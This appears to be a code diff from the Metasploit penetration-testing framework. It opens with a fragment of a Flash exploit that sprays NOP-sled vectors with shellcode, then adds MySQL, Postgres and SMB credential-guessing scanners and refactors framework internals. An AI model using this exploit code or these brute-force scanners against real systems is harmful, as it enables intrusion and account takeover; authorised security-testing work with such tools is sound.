allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
|
||||
};
|
||||
return ((allocation_contents + 0x2c));
|
||||
}
|
||||
|
||||
// create 8 vectors of size 0x7f0 inside an array to place shellcode
|
||||
function createCodeVectors(mark:uint, nops:uint){
|
||||
var code_vectors_array:Array = new Array();
|
||||
var i:* = 0;
|
||||
while (i < 8)
|
||||
{
|
||||
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
|
||||
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
|
||||
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
|
||||
i++;
|
||||
};
|
||||
return (code_vectors_array);
|
||||
}
|
||||
|
||||
|
||||
// Fill with the code vectors with the shellcode
|
||||
function fillCodeVectors(array_code_vectors:Array) {
|
||||
var i:uint = 0;
|
||||
var sh:uint=1;
|
||||
|
||||
while(i < array_code_vectors.length)
|
||||
{
|
||||
for(var u:String in shellcodeObj)
|
||||
{
|
||||
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
|
||||
}
|
||||
i++;
|
||||
sh = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}//package
|
|
@ -0,0 +1,10 @@
|
|||
package
|
||||
{
|
||||
import mx.core.ByteArrayAsset;
|
||||
|
||||
[Embed(source="binary_data", mimeType="application/octet-stream")]
|
||||
public class Graph_Shad extends ByteArrayAsset
|
||||
{
|
||||
|
||||
}
|
||||
}
|
Binary file not shown.
|
@ -378,6 +378,10 @@ module Kernel #:nodoc:all
|
|||
# This method handles the loading of FASTLIB archives
|
||||
#
|
||||
def fastlib_require(name)
|
||||
if name.respond_to? :to_path
|
||||
name = name.to_path
|
||||
end
|
||||
|
||||
name = name + ".rb" if not name =~ /\.rb$/
|
||||
return false if fastlib_already_loaded?(name)
|
||||
return false if fastlib_already_tried?(name)
|
||||
|
|
|
@ -5,30 +5,6 @@ module Metasploit
|
|||
# works in compatible manner with activerecord's rake tasks and other
|
||||
# railties.
|
||||
module Framework
|
||||
# Returns the environment for {Metasploit::Framework}. Checks
|
||||
# `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to
|
||||
# `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the
|
||||
# environment variables.
|
||||
#
|
||||
# {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be
|
||||
# queried for its value.
|
||||
#
|
||||
# @example check if environment is development
|
||||
# if Metasploit::Framework.env.development?
|
||||
# # runs only when in development
|
||||
# end
|
||||
#
|
||||
# @return [ActiveSupport::StringInquirer] the environment name
|
||||
def self.env
|
||||
unless instance_variable_defined? :@env
|
||||
name = ENV['METASPLOIT_FRAMEWORK_ENV']
|
||||
name ||= 'development'
|
||||
@env = ActiveSupport::StringInquirer.new(name)
|
||||
end
|
||||
|
||||
@env
|
||||
end
|
||||
|
||||
# Returns the root of the metasploit-framework project. Use in place of
|
||||
# `Rails.root`.
|
||||
#
|
||||
|
|
|
@ -8,7 +8,7 @@ module Metasploit
|
|||
end
|
||||
|
||||
def self.configurations_pathname
|
||||
Metasploit::Framework.root.join('config', 'database.yml')
|
||||
Metasploit::Framework::Application.paths['config/database'].first
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -18,8 +18,8 @@ module Metasploit
|
|||
# @!attribute cred_details
|
||||
# @return [Array] An array of Credential objects
|
||||
attr_accessor :cred_details
|
||||
# @!attribute successes
|
||||
# @return [Array] Array of of result objects that failed
|
||||
# @!attribute failures
|
||||
# @return [Array<Result>] Array of failing {Result results}
|
||||
attr_accessor :failures
|
||||
# @!attribute host
|
||||
# @return [String] The IP address or hostname to connect to
|
||||
|
@ -34,7 +34,7 @@ module Metasploit
|
|||
# @return [Boolean] Whether the scanner should stop when it has found one working Credential
|
||||
attr_accessor :stop_on_success
|
||||
# @!attribute successes
|
||||
# @return [Array] Array of results that successfully logged in
|
||||
# @return [Array<Result>] Array of successful {Result results}
|
||||
attr_accessor :successes
|
||||
|
||||
validates :connection_timeout,
|
||||
|
@ -68,18 +68,31 @@ module Metasploit
|
|||
attributes.each do |attribute, value|
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
self.successes= []
|
||||
self.failures=[]
|
||||
self.successes = []
|
||||
self.failures = []
|
||||
set_sane_defaults
|
||||
end
|
||||
|
||||
# This method runs all the login attempts against the target.
|
||||
# It calls {attempt_login} once for each credential.
|
||||
# Results are stored in {successes} and {failures}
|
||||
# @return [void] There is no valid return value for this method
|
||||
# @yield [result]
|
||||
# @yieldparam result [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object for the attempt
|
||||
# Attempt a single login against the service with the given
|
||||
# {Credential credential}.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attmpt to
|
||||
# login with
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
# @abstract Protocol-specific scanners must implement this for their
|
||||
# respective protocols
|
||||
def attempt_login(credential)
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
# Attempt to login with every {Credential credential} in
|
||||
# {#cred_details}, by calling {#attempt_login} once for each.
|
||||
#
|
||||
# All {Result results} are stored in {#successes} and {#failures}.
|
||||
#
|
||||
# @yieldparam result [Result] The {Result} object for each attempt
|
||||
# @yieldreturn [void]
|
||||
# @return [void]
|
||||
def scan!
|
||||
valid!
|
||||
|
||||
|
@ -108,13 +121,18 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# @raise [Metasploit::Framework::LoginScanner::Invalid] if the attributes are not valid on the scanner
|
||||
# Raise an exception if this scanner's attributes are not valid.
|
||||
#
|
||||
# @raise [Invalid] if the attributes are not valid on this scanner
|
||||
# @return [void]
|
||||
def valid!
|
||||
unless valid?
|
||||
raise Metasploit::Framework::LoginScanner::Invalid.new(self)
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
|
@ -124,9 +142,7 @@ module Metasploit
|
|||
# of a valid type and is resolveable.
|
||||
# @return [void]
|
||||
def host_address_must_be_valid
|
||||
unless host.kind_of? String
|
||||
errors.add(:host, "must be a string")
|
||||
end
|
||||
if host.kind_of? String
|
||||
begin
|
||||
resolved_host = ::Rex::Socket.getaddress(host, true)
|
||||
if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
|
@ -134,15 +150,20 @@ module Metasploit
|
|||
errors.add(:host, "could not be resolved")
|
||||
end
|
||||
end
|
||||
host = resolved_host
|
||||
self.host = resolved_host
|
||||
rescue
|
||||
errors.add(:host, "could not be resolved")
|
||||
end
|
||||
else
|
||||
errors.add(:host, "must be a string")
|
||||
end
|
||||
end
|
||||
|
||||
# This is a placeholder method. Each LoginScanner class
|
||||
# will override this with any sane defaults specific to
|
||||
# its own behaviour.
|
||||
# @abstract
|
||||
# @return [void]
|
||||
def set_sane_defaults
|
||||
self.connection_timeout = 30 if self.connection_timeout.nil?
|
||||
end
|
||||
|
@ -166,11 +187,10 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,14 +1,18 @@
|
|||
require 'active_model'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This class provides an in-memory representation of a conceptual Credential
|
||||
#
|
||||
# It contains the public, private, and realm if any.
|
||||
class Credential
|
||||
include ActiveModel::Validations
|
||||
|
||||
# @!attribute paired
|
||||
# @return [Boolean] Whether BOTH a public and private are required
|
||||
# (defaults to `true`)
|
||||
attr_accessor :paired
|
||||
# @!attribute private
|
||||
# The private credential component (e.g. username)
|
||||
|
@ -44,6 +48,8 @@ module Metasploit
|
|||
attributes.each do |attribute, value|
|
||||
public_send("#{attribute}=", value)
|
||||
end
|
||||
|
||||
self.paired = true if self.paired.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -27,9 +27,7 @@ module Metasploit
|
|||
|
||||
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential
|
||||
|
@ -55,8 +53,6 @@ module Metasploit
|
|||
|
||||
private
|
||||
|
||||
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
# like timeouts and TCP evasion options
|
||||
def set_sane_defaults
|
||||
|
|
|
@ -49,6 +49,7 @@ module Metasploit
|
|||
self.send_lm = true if self.send_lm.nil?
|
||||
self.send_ntlm = true if self.send_ntlm.nil?
|
||||
self.send_spn = true if self.send_spn.nil?
|
||||
self.use_lmkey = false if self.use_lmkey.nil?
|
||||
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
|
||||
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
|
||||
self.windows_authentication = false if self.windows_authentication.nil?
|
||||
|
|
|
@ -0,0 +1,83 @@
|
|||
require 'metasploit/framework/tcp/client'
|
||||
require 'rbmysql'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with MySQL Database servers.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
class MySQL
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential
|
||||
}
|
||||
|
||||
# manage our behind the scenes socket. Close any existing one and open a new one
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
begin
|
||||
::RbMysql.connect({
|
||||
:host => host,
|
||||
:port => port,
|
||||
:read_timeout => 300,
|
||||
:write_timeout => 300,
|
||||
:socket => sock,
|
||||
:user => credential.public,
|
||||
:password => credential.private,
|
||||
:db => ''
|
||||
})
|
||||
rescue Errno::ECONNREFUSED
|
||||
result_options.merge!({
|
||||
status: :connection_error,
|
||||
proof: "Connection refused"
|
||||
})
|
||||
rescue RbMysql::ClientError
|
||||
result_options.merge!({
|
||||
status: :connection_error,
|
||||
proof: "Connection timeout"
|
||||
})
|
||||
rescue Errno::ETIMEDOUT
|
||||
result_options.merge!({
|
||||
status: :connection_error,
|
||||
proof: "Operation Timed out"
|
||||
})
|
||||
rescue RbMysql::HostNotPrivileged
|
||||
result_options.merge!({
|
||||
status: :connection_error,
|
||||
proof: "Unable to login from this host due to policy"
|
||||
})
|
||||
rescue RbMysql::AccessDeniedError
|
||||
result_options.merge!({
|
||||
status: :failed,
|
||||
proof: "Access Denied"
|
||||
})
|
||||
end
|
||||
|
||||
unless result_options[:status]
|
||||
result_options[:status] = :success
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
# like timeouts and TCP evasion options
|
||||
def set_sane_defaults
|
||||
self.max_send_size = 0 if self.max_send_size.nil?
|
||||
self.send_delay = 0 if self.send_delay.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -12,23 +12,27 @@ module Metasploit
|
|||
|
||||
included do
|
||||
# @!attribute send_lm
|
||||
# @return [Boolean] Whether or not to always send the LANMAN response(except if using NTLM2 Session)
|
||||
# @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session)
|
||||
attr_accessor :send_lm
|
||||
|
||||
# @!attribute send_ntlm
|
||||
# @return [Boolean] Whether or not to use NTLM responses
|
||||
# @return [Boolean] Whether to use NTLM responses
|
||||
attr_accessor :send_ntlm
|
||||
|
||||
# @!attribute send_spn
|
||||
# @return [Boolean] Whether or not to support SPN for newer Windows OSes
|
||||
# @return [Boolean] Whether to support SPN for newer Windows OSes
|
||||
attr_accessor :send_spn
|
||||
|
||||
# @!attribute use_lmkey
|
||||
# @return [Boolean] Whether to negotiate with a LANMAN key
|
||||
attr_accessor :use_lmkey
|
||||
|
||||
# @!attribute send_lm
|
||||
# @return [Boolean] Whether or not to force the use of NTLM2 session
|
||||
# @return [Boolean] Whether to force the use of NTLM2 session
|
||||
attr_accessor :use_ntlm2_session
|
||||
|
||||
# @!attribute send_lm
|
||||
# @return [Boolean] Whether or not to force the use of NTLMv2 instead of NTLM2 Session
|
||||
# @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session
|
||||
attr_accessor :use_ntlmv2
|
||||
|
||||
validates :send_lm,
|
||||
|
@ -40,6 +44,9 @@ module Metasploit
|
|||
validates :send_spn,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
validates :use_lmkey,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
validates :use_ntlm2_session,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'postgres_msf'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with PostgreSQL database servers.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
class Postgres
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential
|
||||
}
|
||||
|
||||
db_name = credential.realm || 'template1'
|
||||
|
||||
if ::Rex::Socket.is_ipv6?(host)
|
||||
uri = "tcp://[#{host}]:#{port}"
|
||||
else
|
||||
uri = "tcp://#{host}:#{port}"
|
||||
end
|
||||
|
||||
pg_conn = nil
|
||||
|
||||
begin
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri)
|
||||
rescue RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
result_options.merge!({
|
||||
status: :failed,
|
||||
proof: "C3D000, Creds were good but database was bad"
|
||||
})
|
||||
when "C28000", "C28P01"
|
||||
result_options.merge!({
|
||||
status: :failed,
|
||||
proof: "Invalid username or password"
|
||||
})
|
||||
else
|
||||
result_options.merge!({
|
||||
status: :failed,
|
||||
proof: e.message
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
if pg_conn
|
||||
pg_conn.close
|
||||
result_options[:status] = :success
|
||||
else
|
||||
result_options[:status] = :failed
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,207 @@
|
|||
require 'rex/proto/smb'
|
||||
require 'metasploit/framework'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'metasploit/framework/login_scanner/ntlm'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with the Server Messaging
|
||||
# Block protocol.
|
||||
class SMB
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::LoginScanner::NTLM
|
||||
|
||||
|
||||
module StatusCodes
|
||||
CORRECT_CREDENTIAL_STATUS_CODES = [
|
||||
"STATUS_ACCOUNT_DISABLED",
|
||||
"STATUS_ACCOUNT_EXPIRED",
|
||||
"STATUS_ACCOUNT_RESTRICTION",
|
||||
"STATUS_INVALID_LOGON_HOURS",
|
||||
"STATUS_INVALID_WORKSTATION",
|
||||
"STATUS_LOGON_TYPE_NOT_GRANTED",
|
||||
"STATUS_PASSWORD_EXPIRED",
|
||||
"STATUS_PASSWORD_MUST_CHANGE",
|
||||
].freeze.map(&:freeze)
|
||||
end
|
||||
|
||||
|
||||
# @!attribute simple
|
||||
# @return [Rex::Proto::SMB::SimpleClient]
|
||||
attr_accessor :simple
|
||||
|
||||
attr_accessor :smb_chunk_size
|
||||
attr_accessor :smb_name
|
||||
attr_accessor :smb_native_lm
|
||||
attr_accessor :smb_native_os
|
||||
attr_accessor :smb_obscure_trans_pipe_level
|
||||
attr_accessor :smb_pad_data_level
|
||||
attr_accessor :smb_pad_file_level
|
||||
attr_accessor :smb_pipe_evasion
|
||||
|
||||
# UNUSED
|
||||
#attr_accessor :smb_pipe_read_max_size
|
||||
#attr_accessor :smb_pipe_read_min_size
|
||||
#attr_accessor :smb_pipe_write_max_size
|
||||
#attr_accessor :smb_pipe_write_min_size
|
||||
attr_accessor :smb_verify_signature
|
||||
|
||||
attr_accessor :smb_direct
|
||||
|
||||
validates :smb_chunk_size,
|
||||
numericality:
|
||||
{
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 0
|
||||
}
|
||||
|
||||
validates :smb_obscure_trans_pipe_level,
|
||||
inclusion:
|
||||
{
|
||||
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
|
||||
}
|
||||
|
||||
validates :smb_pad_data_level,
|
||||
inclusion:
|
||||
{
|
||||
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
|
||||
}
|
||||
|
||||
validates :smb_pad_file_level,
|
||||
inclusion:
|
||||
{
|
||||
in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX
|
||||
}
|
||||
|
||||
validates :smb_pipe_evasion,
|
||||
inclusion: { in: [true, false, nil] },
|
||||
allow_nil: true
|
||||
|
||||
# UNUSED
|
||||
#validates :smb_pipe_read_max_size, numericality: { only_integer: true }
|
||||
#validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 }
|
||||
#validates :smb_pipe_write_max_size, numericality: { only_integer: true }
|
||||
#validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 }
|
||||
|
||||
validates :smb_verify_signature,
|
||||
inclusion: { in: [true, false, nil] },
|
||||
allow_nil: true
|
||||
|
||||
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
|
||||
# Disable direct SMB when SMBDirect has not been set and the
|
||||
# destination port is configured as 139
|
||||
if self.smb_direct.nil?
|
||||
self.smb_direct = case self.port
|
||||
when 139 then false
|
||||
when 445 then true
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
connect
|
||||
rescue ::Rex::ConnectionError => e
|
||||
return Result.new(credential:credential, status: :connection_error, proof: e)
|
||||
end
|
||||
proof = nil
|
||||
|
||||
begin
|
||||
# TODO: OMG
|
||||
ok = simple.login(
|
||||
smb_name,
|
||||
credential.public,
|
||||
credential.private,
|
||||
credential.realm || "",
|
||||
smb_verify_signature,
|
||||
use_ntlmv2,
|
||||
use_ntlm2_session,
|
||||
send_lm,
|
||||
use_lmkey,
|
||||
send_ntlm,
|
||||
smb_native_os,
|
||||
smb_native_lm,
|
||||
{
|
||||
use_spn: send_spn,
|
||||
name: host
|
||||
}
|
||||
)
|
||||
|
||||
simple.connect("\\\\#{smb_name}\\IPC$")
|
||||
status = ok ? :success : :failed
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
status = case e.get_error(e.error_code)
|
||||
when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES
|
||||
:correct
|
||||
when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED'
|
||||
:failed
|
||||
else
|
||||
puts e.backtrace.join
|
||||
:failed
|
||||
end
|
||||
|
||||
proof = e
|
||||
rescue ::Rex::Proto::SMB::Exceptions::Error => e
|
||||
status = :failed
|
||||
proof = e
|
||||
rescue ::Rex::ConnectionError
|
||||
status = :connection_error
|
||||
end
|
||||
|
||||
Result.new(credential: credential, status: status, proof: proof)
|
||||
end
|
||||
|
||||
def connect
|
||||
disconnect
|
||||
self.sock = super
|
||||
|
||||
c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct)
|
||||
|
||||
c.client.evasion_opts['pad_data'] = smb_pad_data_level
|
||||
c.client.evasion_opts['pad_file'] = smb_pad_file_level
|
||||
c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level
|
||||
|
||||
self.simple = c
|
||||
c
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
self.connection_timeout = 10 if self.connection_timeout.nil?
|
||||
self.max_send_size = 0 if self.max_send_size.nil?
|
||||
self.send_delay = 0 if self.send_delay.nil?
|
||||
self.send_lm = true if self.send_lm.nil?
|
||||
self.send_ntlm = true if self.send_ntlm.nil?
|
||||
self.send_spn = true if self.send_spn.nil?
|
||||
self.smb_chunk_size = 0 if self.smb_chunk_size.nil?
|
||||
self.smb_name = "*SMBSERVER" if self.smb_name.nil?
|
||||
self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil?
|
||||
self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil?
|
||||
self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil?
|
||||
self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil?
|
||||
self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil?
|
||||
self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil?
|
||||
#self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil?
|
||||
#self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil?
|
||||
#self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil?
|
||||
#self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil?
|
||||
self.smb_verify_signature = false if self.smb_verify_signature.nil?
|
||||
|
||||
self.use_lmkey = true if self.use_lmkey.nil?
|
||||
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
|
||||
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
|
||||
|
||||
self.smb_name = self.host if self.smb_name.nil?
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -35,9 +35,7 @@ module Metasploit
|
|||
presence: true,
|
||||
inclusion: { in: VERBOSITIES }
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
# (see {Base#attempt_login})
|
||||
def attempt_login(credential)
|
||||
ssh_socket = nil
|
||||
opt_hash = {
|
||||
|
|
|
@ -1,6 +1,18 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# Standard Library
|
||||
#
|
||||
|
||||
require 'fileutils'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/compat'
|
||||
|
||||
module Msf
|
||||
|
||||
# This class wraps interaction with global configuration that can be used as a
|
||||
|
|
|
@ -330,6 +330,9 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
|
||||
creds = [ [], [], [], [] ] # userpass, pass, user, rest
|
||||
remaining_pairs = combined_array.length # counter for our occasional output
|
||||
interval = 60 # seconds between each remaining pair message reported to user
|
||||
next_message_time = Time.now + interval # initial timing interval for user message
|
||||
# Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list.
|
||||
# Note that we cannot tell the user intention if USERNAME or PASSWORD is blank --
|
||||
# maybe (and it's often) they wanted a blank. One more credential won't kill
|
||||
|
@ -344,6 +347,14 @@ module Auxiliary::AuthBrute
|
|||
else
|
||||
creds[3] << pair
|
||||
end
|
||||
if Time.now > next_message_time
|
||||
print_brute(
|
||||
:level => :vstatus,
|
||||
:msg => "Pair list is still building with #{remaining_pairs} pairs left to process"
|
||||
)
|
||||
next_message_time = Time.now + interval
|
||||
end
|
||||
remaining_pairs -= 1
|
||||
end
|
||||
return creds[0] + creds[1] + creds[2] + creds[3]
|
||||
end
|
||||
|
|
|
@ -2943,10 +2943,41 @@ class DBManager
|
|||
self.send "import_#{ftype}".to_sym, args, &block
|
||||
end
|
||||
|
||||
# Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml
|
||||
# :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog
|
||||
# :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml
|
||||
# :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml
|
||||
# Returns one of the following:
|
||||
#
|
||||
# :acunetix_xml
|
||||
# :amap_log
|
||||
# :amap_mlog
|
||||
# :appscan_xml
|
||||
# :burp_session_xml
|
||||
# :ci_xml
|
||||
# :foundstone_xml
|
||||
# :fusionvm_xml
|
||||
# :ip360_aspl_xml
|
||||
# :ip360_xml_v3
|
||||
# :ip_list
|
||||
# :libpcap
|
||||
# :mbsa_xml
|
||||
# :msf_pwdump
|
||||
# :msf_xml
|
||||
# :msf_zip
|
||||
# :nessus_nbe
|
||||
# :nessus_xml
|
||||
# :nessus_xml_v2
|
||||
# :netsparker_xml
|
||||
# :nexpose_rawxml
|
||||
# :nexpose_simplexml
|
||||
# :nikto_xml
|
||||
# :nmap_xml
|
||||
# :openvas_new_xml
|
||||
# :openvas_xml
|
||||
# :outpost24_xml
|
||||
# :qualys_asset_xml
|
||||
# :qualys_scan_xml
|
||||
# :retina_xml
|
||||
# :spiceworks_csv
|
||||
# :wapiti_xml
|
||||
#
|
||||
# If there is no match, an error is raised instead.
|
||||
def import_filetype_detect(data)
|
||||
|
||||
|
@ -3114,7 +3145,7 @@ class DBManager
|
|||
return :netsparker_xml
|
||||
elsif (firstline.index("# Metasploit PWDump Export"))
|
||||
# then it's a Metasploit PWDump export
|
||||
@import_filedata[:type] = "msf_pwdump"
|
||||
@import_filedata[:type] = "Metasploit PWDump Export"
|
||||
return :msf_pwdump
|
||||
end
|
||||
|
||||
|
|
|
@ -22,6 +22,13 @@ class DBManager
|
|||
include Msf::DBManager::Migration
|
||||
include Msf::Framework::Offspring
|
||||
|
||||
#
|
||||
# CONSTANTS
|
||||
#
|
||||
|
||||
# The adapter to use to establish database connection.
|
||||
ADAPTER = 'postgresql'
|
||||
|
||||
# Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6.
|
||||
# Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond.
|
||||
def warn_about_rubies
|
||||
|
@ -43,7 +50,10 @@ class DBManager
|
|||
attr_accessor :usable
|
||||
|
||||
# Returns the list of usable database drivers
|
||||
attr_accessor :drivers
|
||||
def drivers
|
||||
@drivers ||= []
|
||||
end
|
||||
attr_writer :drivers
|
||||
|
||||
# Returns the active driver
|
||||
attr_accessor :driver
|
||||
|
@ -86,9 +96,7 @@ class DBManager
|
|||
# Database drivers can reset our KCODE, do not let them
|
||||
$KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./
|
||||
|
||||
require "active_record"
|
||||
|
||||
initialize_metasploit_data_models
|
||||
add_rails_engine_migration_paths
|
||||
|
||||
@usable = true
|
||||
|
||||
|
@ -98,22 +106,10 @@ class DBManager
|
|||
return false
|
||||
end
|
||||
|
||||
# Only include Mdm if we're not using Metasploit commercial versions
|
||||
# If Mdm::Host is defined, the dynamically created classes
|
||||
# are already in the object space
|
||||
begin
|
||||
unless defined? Mdm::Host
|
||||
MetasploitDataModels.require_models
|
||||
end
|
||||
rescue NameError => e
|
||||
warn_about_rubies
|
||||
raise e
|
||||
end
|
||||
|
||||
#
|
||||
# Determine what drivers are available
|
||||
#
|
||||
initialize_drivers
|
||||
initialize_adapter
|
||||
|
||||
#
|
||||
# Instantiate the database sink
|
||||
|
@ -126,50 +122,48 @@ class DBManager
|
|||
#
|
||||
# Scan through available drivers
|
||||
#
|
||||
def initialize_drivers
|
||||
self.drivers = []
|
||||
tdrivers = %W{ postgresql }
|
||||
tdrivers.each do |driver|
|
||||
begin
|
||||
def initialize_adapter
|
||||
ActiveRecord::Base.default_timezone = :utc
|
||||
ActiveRecord::Base.establish_connection(:adapter => driver)
|
||||
if(self.respond_to?("driver_check_#{driver}"))
|
||||
self.send("driver_check_#{driver}")
|
||||
end
|
||||
|
||||
if ActiveRecord::Base.connected? && ActiveRecord::Base.connection_config[:adapter] == ADAPTER
|
||||
dlog("Already connected to #{ADAPTER}, so reusing active connection.")
|
||||
else
|
||||
begin
|
||||
ActiveRecord::Base.establish_connection(adapter: ADAPTER)
|
||||
ActiveRecord::Base.remove_connection
|
||||
self.drivers << driver
|
||||
rescue ::Exception
|
||||
rescue Exception => error
|
||||
@adapter_error = error
|
||||
else
|
||||
# @deprecated Use in RPC_Db, but only postgresql is supported, so useless otherwise
|
||||
self.drivers << ADAPTER
|
||||
self.driver = ADAPTER
|
||||
end
|
||||
end
|
||||
|
||||
if(not self.drivers.empty?)
|
||||
self.driver = self.drivers[0]
|
||||
end
|
||||
|
||||
# Database drivers can reset our KCODE, do not let them
|
||||
$KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./
|
||||
end
|
||||
|
||||
# Loads Metasploit Data Models and adds its migrations to migrations paths.
|
||||
#
|
||||
# @return [void]
|
